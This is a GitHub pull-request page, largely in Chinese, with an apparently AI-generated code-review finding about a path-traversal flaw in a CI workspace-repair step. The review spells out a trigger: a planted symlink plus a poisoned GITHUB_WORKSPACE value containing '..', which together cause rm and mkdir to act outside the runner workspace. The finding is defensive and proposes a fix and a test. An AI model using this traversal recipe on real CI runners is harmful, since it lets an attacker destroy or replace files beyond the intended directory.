R10-4:中间组件疗愈(serve-ab.yml:192 为逐字节相同的副本)在规范化之前作用于原始 $WS 且没有 .. 拒绝,因此含 .. 的被污染 $GITHUB_WORKSPACE 能通过 "$RWS"/* 字符串前缀匹配,而疗愈的 rm -f/mkdir 会解析到 $RUNNER_WORKSPACE 之外——违背该代码块自述的不变量('只判断字面上位于规范化 runner 工作区内部的路径')。diff 为根疗愈添加了原始 .. 拒绝,却没有给新的中间疗愈同样的拒绝或规范化检查;规范化后的父包含性拒绝只在越界变更发生之后才触发。触发:健康的 RWS=/home/runner/work/qwen-code;先前池上作业植入符号链接 /home/runner/work/pivot → <目标>;污染环境作业(该步骤前言引用的事故类)提供 GITHUB_WORKSPACE=/home/runner/work/qwen-code/../pivot/repo——原始前缀匹配通过,遍历把 pivot 解析到工作区之外,步骤解除外部符号链接并在原地创建真实目录,还记录为成功的'疗愈'。若逃出的组件是合法基础设施而非攻击者植入,该守卫会将其摧毁。

修复:在遍历之前对原始路径拒绝 ..,与根疗愈对齐——在计算 HEAL_REL 之后添加上方代码块。修复前提:疗愈必须继续作用于原始路径并拒绝而非解析——按该代码块自己的注释,解析 $WS 会穿过正在被判断的植入本身('解析父级——绝不解析 $WS 本身……才是使解除链接可包含的关键')。修复见证:新增 ws = <rws>/../evil/repo 且在 rws 兄弟目录植入符号链接的 runWipeStep fixture,断言外部符号链接以符号链接形态存活且步骤以 .. 拒绝非零退出;移除新增的原始 .. 拒绝会使越界 rm+mkdir 复现并使其变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

🔀 Base updated: red check(s) [Test (ubuntu-latest, Node 22.x)] pass on current main — merged current main via update-branch; CI will re-run.

中文说明

🔀 已更新 base:红色检查 [Test (ubuntu-latest, Node 22.x)] 在当前 main 上通过 —— 已通过 update-branch 合入当前 main,CI 将重新运行。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

autofix/takeover Summon the autofix loop to manage this PR (remove to release; needs triage+)

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants